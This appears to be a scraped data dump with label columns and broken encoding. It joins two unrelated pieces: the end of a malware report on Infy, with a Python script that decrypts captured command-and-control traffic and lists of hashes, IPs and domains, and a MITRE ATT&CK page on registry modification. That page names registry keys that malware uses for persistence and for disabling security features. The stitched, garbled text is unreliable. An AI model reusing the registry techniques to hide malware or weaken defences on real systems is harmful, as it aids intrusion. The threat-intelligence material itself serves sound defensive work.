\xc2 \xc2 def extract_enc_data(line): \xc2 \xc2 \xc2 \xc2 header = r""\\xd\\xa_____"" \xc2 \xc2 \xc2 \xc2 start_index = line.find(header)+len(header) \xc2 \xc2 \xc2 \xc2 line = line[start_index:] \xc2 \xc2 \xc2 \xc2 endindex = line.index(""_____\\"" value="") \xc2 \xc2 \xc2 \xc2 line = line[:endindex] \xc2 \xc2 \xc2 \xc2 return line \xc2 def write_enc_infy_data_to_file(dec_line,comp_name,filename):\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 file1 = open(filename + ""\\\\"" + comp_name + "".txt"",'ab') \xc2 \xc2 \xc2 \xc2 file1.writelines(dec_line) \xc2 \xc2 \xc2 \xc2 file1.close() \xc2 def enc_wrapper(enc,comp_name): \xc2 \xc2 \xc2 \xc2 global FULL_KEY \xc2 \xc2 \xc2 \xc2 print FULL_KEY \xc2 \xc2 \xc2 \xc2 FULL_KEY = init_key(comp_name) \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 enc_final = """" \xc2 \xc2 \xc2 \xc2 for letter in enc: \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 if len(hex(ord(letter))[2:])==1: \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 enc_final += ""0"" + hex(ord(letter))[2:]\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 elif len(hex(ord(letter))[2:])==2: \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 enc_final += hex(ord(letter))[2:]\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 else: \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 print ""not good hex length"" \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 exit() \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 enc = enc_final.upper() \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 enc = enc.replace(""2E"",""21"") \xc2 \xc2 \xc2 \xc2 enc = enc.replace(""C5DC5A"","""") \xc2 \xc2 \xc2 \xc2 enc = enc.replace(""D03D00"","""") \xc2 \xc2 \xc2 \xc2 enc = enc.replace(""0B0E"",""2121"")\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 enc = enc.replace(""01"",""21"") \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 enc_len = len(enc) \xc2 \xc2 \xc2 \xc2 \xc2 enc_rev = """" \xc2 \xc2 \xc2 \xc2 num_list = [] \xc2 \xc2 \xc2 \xc2 enc_print ="""" \xc2 \xc2 \xc2 \xc2 for i in range(0,enc_len/2): \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 enc_rev = enc[-2:] \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 if not enc_rev==""0B"" and not enc_rev==""0E"" and not enc_rev==""00"" and not enc_rev==""D0"": \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 enc_print +=enc_rev \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 num_list.append(enc_rev) \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 enc= enc[:-2] \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 #the first part is always ok \xc2 \xc2 \xc2 \xc2 dec_str = decrypt(num_list,0) \xc2 \xc2 \xc2 \xc2 final = sub_1_for_hex(dec_str) \xc2 \xc2 \xc2 \xc2 index = final.find(""OK: Sent"") \xc2 \xc2 \xc2 \xc2 if index==-1: \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 print comp_name + "" - did not found OK: Sent !!!!\\n\\n\\n\\n"" \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 #exit() \xc2 \xc2 \xc2 \xc2 decrypt_data = comp_name + "" ++==++ "" +\xc2 \xc2 str(i) + "": "" + final + ""\\n"" \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 final_start = final[0:500] \xc2 \xc2 \xc2 \xc2 if final_start in UNIQUE_DATA: \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 print comp_name + "" already have this data"" \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 return \xc2 \xc2 \xc2 \xc2 UNIQUE_DATA.append(final_start) \xc2 \xc2 \xc2 \xc2 index = final.find(""Installed Date:"") \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 if index==-1: \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 for i in range(1,61): \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 dec_str = decrypt3(num_list,i) \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 final = sub_1_for_hex(dec_str) \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 ##print all 62 options \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 index2 = final.find(""PROGRAM START:"") \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 index3 = final.find(""Installed Date:"") \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 if not index2 ==-1 or not index3 ==-1: \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 decrypt_data += str(i) + "": "" + final + ""\\n"" \xc2 \xc2 \xc2 \xc2 write_enc_infy_data_to_file(decrypt_data,comp_name,FILE_OUTPUT_NAME) \xc2 def read_enc_data_files(): \xc2 \xc2 \xc2 \xc2 \xc2 for root,dir,files in os.walk(PDML_PATH): \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 for file in files: \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 filename = root+ ""\\\\"" + file \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 if os.path.isfile(filename): \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 print filename \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 for line in fileinput.input([filename]): \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 line = line.strip() \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 is_found,found_infy_index= found_infy_enc_data(line) \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 if not is_found: \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 continue \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 line = line[found_infy_index:] \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 #get computer name (for use in init_key() later) \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 comp_name = extract_comp_name(line) \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 UNIQUE_COMP.append(comp_name) \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 #get the infy encrypted data \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 line = extract_enc_data(line) \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 #base64 decode enc_data \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 dec_line = line.decode('base64') \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 #append enc_data to file \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 write_enc_infy_data_to_file(dec_line,comp_name,FILE_ENC_OUTPUT_NAME) \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 enc_wrapper(dec_line,comp_name) try:\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 read_enc_data_files() except: \xc2 \xc2 \xc2 \xc2 print ""exception!!!!"" Appendix 2 \xe2\x80\x93IoCs Infy version 31: f07e85143e057ee565c25db2a9f36491102d4e526ffb02c83e580712ec00eb27 Infy \xe2\x80\x9cM\xe2\x80\x9d version 8.0: 583349B7A2385A1E8DE682A43351798CA113CBBB80686193ECF9A61E6942786A 5.9.94.34 138.201.0.134 138.201.47.150 144.76.250.205 138.201.47.158 138.201.47.153 us1s2[.]strangled[.]net uvps1[.]cotbm[.]com gstat[.]strangled[.]net secup[.]soon[.]it p208[.]ige[.]es lu[.]ige[.]es updateserver1[.]com updateserver3[.]com updatebox4[.]com bestupdateserver[.]com bestupdateserver2[.]com bestbox3[.]com safehostline[.]com youripinfo[.]com bestupser[.]awardspace[.]info box4035[.]net box4036[.]net box4037[.]net box4038[.]net box4039[.]net box4040[.]net box4041[.]net box4042[.]net box4043[.]net box4044[.]net box4045[.]net box4046[.]net box4047[.]net box4048[.]net box4049[.]net box4050[.]net box4051[.]net box4052[.]net box4053[.]net box4054[.]net box4055[.]net box4056[.]net box4057[.]net box4058[.]net box4059[.]net box4060[.]net box4061[.]net box4062[.]net box4063[.]net box4064[.]net box4065[.]net box4066[.]net box4067[.]net box4068[.]net box4069[.]net box4070[.]net box4071[.]net box4072[.]net box4075[.]net box4078[.]net box4079[.]net box4080[.]net box4081[.]net box4082[.]net box4083[.]net box4084[.]net box4085[.]net box4086[.]net box4087[.]net box4088[.]net box4089[.]net box4090[.]net Get updates from Palo Alto Networks! Sign up to receive the latest news, cyber threat intelligence and research from us Please enter your email address! Please mark, I'm not a robot! By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement. Popular Resources Resource Center Blog Communities Tech Docs Unit 42 Sitemap Legal Notices Privacy Terms of Use Documents Account Manage Subscriptions \xc2 Report a Vulnerability \xc2\xa9 2019 Palo Alto Networks, Inc. All rights reserved.","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Modify Registry - Enterprise | MITRE ATT&CK\xe2\x84\xa2 Matrices Tactics PRE-ATT&CK Enterprise Mobile Techniques PRE-ATT&CK Enterprise Mobile Mitigations Enterprise Mobile Groups Software Resources General Information Getting Started ATT&CKcon Working with ATT&CK FAQ Updates Previous Versions Related Projects Blog\xc2 Contribute Register to stream ATT&CKcon 2.0 October 29-30 ENTERPRISE ENTERPRISE MOBILE PRE-ATT&CK TECHNIQUES All Initial Access Drive-by Compromise Exploit Public-Facing Application External Remote Services Hardware Additions Replication Through Removable Media Spearphishing Attachment Spearphishing Link Spearphishing via Service Supply Chain Compromise Trusted Relationship Valid Accounts Execution AppleScript CMSTP Command-Line Interface Compiled HTML File Control Panel Items Dynamic Data Exchange Execution through API Execution through Module Load Exploitation for Client Execution Graphical User Interface InstallUtil Launchctl Local Job Scheduling LSASS Driver Mshta PowerShell Regsvcs/Regasm Regsvr32 Rundll32 Scheduled Task Scripting Service Execution Signed Binary Proxy Execution Signed Script Proxy Execution Source Space after Filename Third-party Software Trap Trusted Developer Utilities User Execution Windows Management Instrumentation Windows Remote Management XSL Script Processing Persistence .bash_profile and .bashrc Accessibility Features Account Manipulation AppCert DLLs AppInit DLLs Application Shimming Authentication Package BITS Jobs Bootkit Browser Extensions Change Default File Association Component Firmware Component Object Model Hijacking Create Account DLL Search Order Hijacking Dylib Hijacking External Remote Services File System Permissions Weakness Hidden Files and Directories Hooking Hypervisor Image File Execution Options Injection Kernel Modules and Extensions Launch Agent Launch Daemon Launchctl LC_LOAD_DYLIB Addition Local Job Scheduling Login Item Logon Scripts LSASS Driver Modify Existing Service Netsh Helper DLL New Service Office Application Startup Path Interception Plist Modification Port Knocking Port Monitors Rc.common Re-opened Applications Redundant Access Registry Run Keys / Startup Folder Scheduled Task Screensaver Security Support Provider Service Registry Permissions Weakness Setuid and Setgid Shortcut Modification SIP and Trust Provider Hijacking Startup Items System Firmware Systemd Service Time Providers Trap Valid Accounts Web Shell Windows Management Instrumentation Event Subscription Winlogon Helper DLL Privilege Escalation Access Token Manipulation Accessibility Features AppCert DLLs AppInit DLLs Application Shimming Bypass User Account Control DLL Search Order Hijacking Dylib Hijacking Exploitation for Privilege Escalation Extra Window Memory Injection File System Permissions Weakness Hooking Image File Execution Options Injection Launch Daemon New Service Path Interception Plist Modification Port Monitors Process Injection Scheduled Task Service Registry Permissions Weakness Setuid and Setgid SID-History Injection Startup Items Sudo Sudo Caching Valid Accounts Web Shell Defense Evasion Access Token Manipulation Binary Padding BITS Jobs Bypass User Account Control Clear Command History CMSTP Code Signing Compile After Delivery Compiled HTML File Component Firmware Component Object Model Hijacking Control Panel Items DCShadow Deobfuscate/Decode Files or Information Disabling Security Tools DLL Search Order Hijacking DLL Side-Loading Execution Guardrails Exploitation for Defense Evasion Extra Window Memory Injection File Deletion File Permissions Modification File System Logical Offsets Gatekeeper Bypass Group Policy Modification Hidden Files and Directories Hidden Users Hidden Window HISTCONTROL Image File Execution Options Injection Indicator Blocking Indicator Removal from Tools Indicator Removal on Host Indirect Command Execution Install Root Certificate InstallUtil Launchctl LC_MAIN Hijacking Masquerading Modify Registry Mshta Network Share Connection Removal NTFS File Attributes Obfuscated Files or Information Plist Modification Port Knocking Process Doppelg\xc3\xa4nging Process Hollowing Process Injection Redundant Access Regsvcs/Regasm Regsvr32 Rootkit Rundll32 Scripting Signed Binary Proxy Execution Signed Script Proxy Execution SIP and Trust Provider Hijacking Software Packing Space after Filename Template Injection Timestomp Trusted Developer Utilities Valid Accounts Virtualization/Sandbox Evasion Web Service XSL Script Processing Credential Access Account Manipulation Bash History Brute Force Credential Dumping Credentials in Files Credentials in Registry Exploitation for Credential Access Forced Authentication Hooking Input Capture Input Prompt Kerberoasting Keychain LLMNR/NBT-NS Poisoning and Relay Network Sniffing Password Filter DLL Private Keys Securityd Memory Two-Factor Authentication Interception Discovery Account Discovery Application Window Discovery Browser Bookmark Discovery Domain Trust Discovery File and Directory Discovery Network Service Scanning Network Share Discovery Network Sniffing Password Policy Discovery Peripheral Device Discovery Permission Groups Discovery Process Discovery Query Registry Remote System Discovery Security Software Discovery System Information Discovery System Network Configuration Discovery System Network Connections Discovery System Owner/User Discovery System Service Discovery System Time Discovery Virtualization/Sandbox Evasion Lateral Movement AppleScript Application Deployment Software Distributed Component Object Model Exploitation of Remote Services Logon Scripts Pass the Hash Pass the Ticket Remote Desktop Protocol Remote File Copy Remote Services Replication Through Removable Media Shared Webroot SSH Hijacking Taint Shared Content Third-party Software Windows Admin Shares Windows Remote Management Collection Audio Capture Automated Collection Clipboard Data Data from Information Repositories Data from Local System Data from Network Shared Drive Data from Removable Media Data Staged Email Collection Input Capture Man in the Browser Screen Capture Video Capture Command and Control Commonly Used Port Communication Through Removable Media Connection Proxy Custom Command and Control Protocol Custom Cryptographic Protocol Data Encoding Data Obfuscation Domain Fronting Domain Generation Algorithms Fallback Channels Multi-hop Proxy Multi-Stage Channels Multiband Communication Multilayer Encryption Port Knocking Remote Access Tools Remote File Copy Standard Application Layer Protocol Standard Cryptographic Protocol Standard Non-Application Layer Protocol Uncommonly Used Port Web Service Exfiltration Automated Exfiltration Data Compressed Data Encrypted Data Transfer Size Limits Exfiltration Over Alternative Protocol Exfiltration Over Command and Control Channel Exfiltration Over Other Network Medium Exfiltration Over Physical Medium Scheduled Transfer Impact Data Destruction Data Encrypted for Impact Defacement Disk Content Wipe Disk Structure Wipe Endpoint Denial of Service Firmware Corruption Inhibit System Recovery Network Denial of Service Resource Hijacking Runtime Data Manipulation Service Stop Stored Data Manipulation Transmitted Data Manipulation Home Techniques Enterprise Modify Registry Modify Registry Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in Persistence and Execution. Access to specific areas of the Registry depends on account permissions, some requiring administrator-level access. The built-in Windows command-line utility Reg may be used for local or remote Registry modification. [1] Other tools may also be used, such as a remote access tool, which may contain functionality to interact with the Registry through the Windows API (see examples). Registry modifications may also include actions to hide keys, such as prepending key names with a null character, which will cause an error and/or be ignored when read via Reg or other utilities using the Win32 API. [2] Adversaries may abuse these pseudo-hidden keys to conceal payloads/commands used to establish Persistence. [3] [4] The Registry of a remote system may be modified to aid in execution of files as part of Lateral Movement. It requires the remote Registry service to be running on the target system. [5] Often Valid Accounts are required, along with access to the remote system's Windows Admin Shares for RPC communication. ID:\xc2 T1112 Tactic: Defense Evasion Platform:\xc2 Windows Permissions Required:\xc2 User, Administrator, SYSTEM Data Sources:\xc2 Windows Registry, File monitoring, Process monitoring, Process command-line parameters, Windows event logs Defense Bypassed:\xc2 Host forensic analysis Contributors:\xc2 Bartosz Jerzman; Travis Smith, Tripwire; David Lu, Tripwire Version:\xc2 1.0 Mitigations Mitigation Description Restrict Registry Permissions Ensure proper permissions are set for Registry hives to prevent users from modifying keys for system components that may lead to privilege escalation. Examples Name Description ADVSTORESHELL ADVSTORESHELL is capable of setting and deleting Registry values. [14] APT19 APT19 uses a Port 22 malware variant to modify several Registry keys. [54] APT32 APT32's backdoor has modified the Windows Registry to store the backdoor's configuration. [61] APT38 APT38 uses a tool called CLEANTOAD that has the capability to modify Registry keys. [56] BACKSPACE BACKSPACE is capable of deleting Registry keys, sub-keys, and values on a victim system. [8] BADCALL BADCALL modifies the firewall Registry key SYSTEM\\CurrentControlSet\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfileGloballyOpenPorts\\List. [11] Bankshot Bankshot writes data into the Registry key HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Pniumj. [45] Cardinal RAT Cardinal RAT sets HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\Load to point to its executable. [37] Catchamas Catchamas creates three Registry keys to establish persistence by adding a New Service. [18] CHOPSTICK CHOPSTICK may store RC4 encrypted configuration information in the Windows Registry. [41] DarkComet DarkComet adds a Registry value for its installation routine to the Registry Key HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System Enable LUA=\xe2\x80\x9d0\xe2\x80\x9d and HKEY_CURRENT_USER\\Software\\DC3_FEXEC. [34] [35] Dragonfly 2.0 Dragonfly 2.0 modified the Registry to perform multiple techniques through the use of Reg. [53] Exaramel Exaramel adds the configuration to the Registry in XML format. [36] FELIXROOT FELIXROOT deletes the Registry key HKCU\\Software\\Classes\\Applications\\rundll32.exe\\shell\\open. [38] FIN8 FIN8 has deleted Registry keys during post compromise cleanup activities. [59] Gorgon Group Gorgon Group malware can deactivate security mechanisms in Microsoft Office by editing several keys and values under HKCU\\Software\\Microsoft\\Office\\. [60] GreyEnergy GreyEnergy modifies conditions in the Registry and adds keys. [46] Honeybee Honeybee uses a batch file that modifies Registry keys to launch a DLL into the svchost.exe process. [57] HOPLIGHT HOPLIGHT has modified Managed Object Format (MOF) files within the Registry to run specific commands and create persistence on the system. [47] Hydraq Hydraq creates a Registry subkey to register its created service, and can also uninstall itself later by deleting this value. Hydraq's backdoor also enables remote attackers to modify and delete subkeys. [22] [23] InvisiMole InvisiMole has a command to create, set, copy, or delete a specified Registry key or value. [24] KEYMARBLE KEYMARBLE has a command to create Registry entries for storing data under HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\WABE\\DataPath. [44] LoJax LoJax has modified the Registry key \xe2\x80\x98HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\BootExecute\xe2\x80\x99 from \xe2\x80\x98autocheck autochk \xe2\x80\x99 to \xe2\x80\x98autocheck autoche \xe2\x80\x99. [52] Mosquito Mosquito stores configuration values under the Registry key HKCU\\Software\\Microsoft[dllname] and modifies Registry keys under HKCR\\CLSID...\\InprocServer32with a path to the launcher. [30] Naid Naid creates Registry entries that store information about a created service and point to a malicious DLL dropped to disk. [43] NanoCore NanoCore has the capability to edit the Registry. [25] [26] Nerex Nerex creates a Registry subkey that registers a new service. [32] njRAT njRAT can create, delete, or modify a specified Registry key or value. [48] [49] Patchwork A Patchwork payload deletes Resiliency Registry keys created by Microsoft Office applications in an apparent effort to trick users into thinking there were no issues during application runs. [58] PHOREAL PHOREAL is capable of manipulating the Registry. [19] PLAINTEE PLAINTEE uses reg add to add a Registry Run key for persistence. [12] PlugX PlugX has a module to create, delete, or modify Registry keys. [28] PoisonIvy PoisonIvy creates a Registry subkey that registers a new system device. [9] QUADAGENT QUADAGENT modifies an HKCU Registry key to store a session identifier unique to the compromised system as well as a pre-shared key used for encrypting and decrypting C2 communications. [13] QuasarRAT QuasarRAT has a command to edit the Registry on the victim\xe2\x80\x99s machine. [6] Reg Reg may be used to interact with and modify the Windows Registry of a local or remote system at the command-line interface. [1] Regin Regin appears to have functionality to modify remote Registry information. [21] Remcos Remcos has full control of the Registry, including the ability to modify it. [7] Rover Rover has functionality to remove Registry Run key persistence as a cleanup procedure. [20] RTM RTM can delete all Registry entries created during its execution. [33] Shamoon Once Shamoon has access to a network share, it enables the RemoteRegistry service on the target system. It will then connect to the system with RegConnectRegistryW and modify the Registry to disable UAC remote restrictions by setting SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\LocalAccountTokenFilterPolicy to 1. [39] [40] SOUNDBITE SOUNDBITE is capable of modifying the Registry. [19] StreamEx StreamEx has the ability to modify the Registry. [10] SynAck SynAck can manipulate Registry keys. [31] Threat Group-3390 A Threat Group-3390 tool can create a new Registry key under HKEY_CURRENT_USER\\Software\\Classes\\. [55] TrickBot TrickBot can modify registry entries. [27] Turla Turla has used the Registry to store encrypted payloads. [62] [63] TYPEFRAME TYPEFRAME can install encrypted configuration data under the Registry key HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\ShellCompatibility\\Applications\\laxhost.dll and HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\PrintConfigs. [29] Ursnif Ursnif has used Registry modifications as part of its installation routine. [50] [51] Volgmer Volgmer stores the encoded configuration file in the Registry key HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentContorlSet\\Control\\WMI\\Security. [15] [16] Zeus Panda Zeus Panda modifies several Registry keys under HKCU\\Software\\Microsoft\\Internet Explorer\\ PhishingFilter\\ to disable phishing filters. [42] zwShell zwShell can modify the Registry. [17] Detection Modifications to the Registry are normal and occur throughout typical use of the Windows operating system. Consider enabling Registry Auditing on specific keys to produce an alertable event (Event ID 4657) whenever a value is changed (though this may not trigger when values are created with Reghide or other evasive methods). [64] Changes to Registry entries that load software on Windows startup that do not correlate with known software, patch cycles, etc., are suspicious, as are additions or changes to files within the startup folder. Changes could also include new services and modification of existing binary paths to point to malicious files. If a change to a service-related entry occurs, then it will likely be followed by a local or remote service start or restart to execute the file. Monitor processes and command-line arguments for actions that could be taken to change or delete information in the Registry. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell, which may require additional logging features to be configured in the operating system to collect necessary information for analysis. Monitor for processes, command-line arguments, and API calls associated with concealing Registry keys, such as Reghide. [2] Inspect and cleanup malicious hidden Registry entries using Native Windows API calls and/or tools such as Autoruns [4] and RegDelNull [65]. References Microsoft. (2012, April 17). Reg. Retrieved May 1, 2015. Russinovich, M. & Sharkey, K. (2006, January 10). Reghide. Retrieved August 9, 2018. Santos, R. (2014, August 1). POWELIKS: Malware Hides In Windows Registry. Retrieved August 9, 2018. Reitz, B. (2017, July 14). Hiding Registry keys with PSReflect. Retrieved August 9, 2018. Microsoft. (n.d.). Enable the Remote Registry Service. Retrieved May 1, 2015. MaxXor. (n.d.). QuasarRAT. Retrieved July 10, 2018. Klijnsma, Y. (2018, January 23). Espionage Campaign Leverages Spear Phishing, RATs Against Turkish Defense Contractors. Retrieved November 6, 2018. FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015. Hayashi, K. (2005, August 18). Backdoor.Darkmoon. Retrieved February 23, 2018. Cylance SPEAR Team. (2017, February 9). Shell Crew Variants Continue to Fly Under Big AV\xe2\x80\x99s Radar. Retrieved February 15, 2017. US-CERT. (2018, February 06). Malware Analysis Report (MAR) - 10135536-G. Retrieved June 7, 2018. Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018. Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018. Bitdefender. (2015, December). APT28 Under the Scope. Retrieved February 23, 2017. US-CERT. (2017, November 01). Malware Analysis Report (MAR) - 10135536-D. Retrieved July 16, 2018. Yagi, J. (2014, August 24). Trojan.Volgmer. Retrieved July 16, 2018. McAfee\xc2\xae Foundstone\xc2\xae Professional Services and McAfee Labs\xe2\x84\xa2. (2011, February 10). Global Energy Cyberattacks: \xe2\x80\x9cNight Dragon\xe2\x80\x9d. Retrieved February 19, 2018. Balanza, M. (2018, April 02). Infostealer.Catchamas. Retrieved July 10, 2018. Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017. Ray, V., Hayashi, K. (2016, February 29). New Malware \xe2\x80\x98Rover\xe2\x80\x99 Targets Indian Ambassador to Afghanistan. Retrieved February 29, 2016. Kaspersky Lab's Global Research and Analysis Team. (2014, November 24). THE REGIN PLATFORM NATION-STATE OWNAGE OF GSM NETWORKS. Retrieved December 1, 2014. Symantec Security Response. (2010, January 18). The Trojan.Hydraq Incident. Retrieved February 20, 2018. Lelli, A. (2010, January 11). Trojan.Hydraq. Retrieved February 20, 2018. 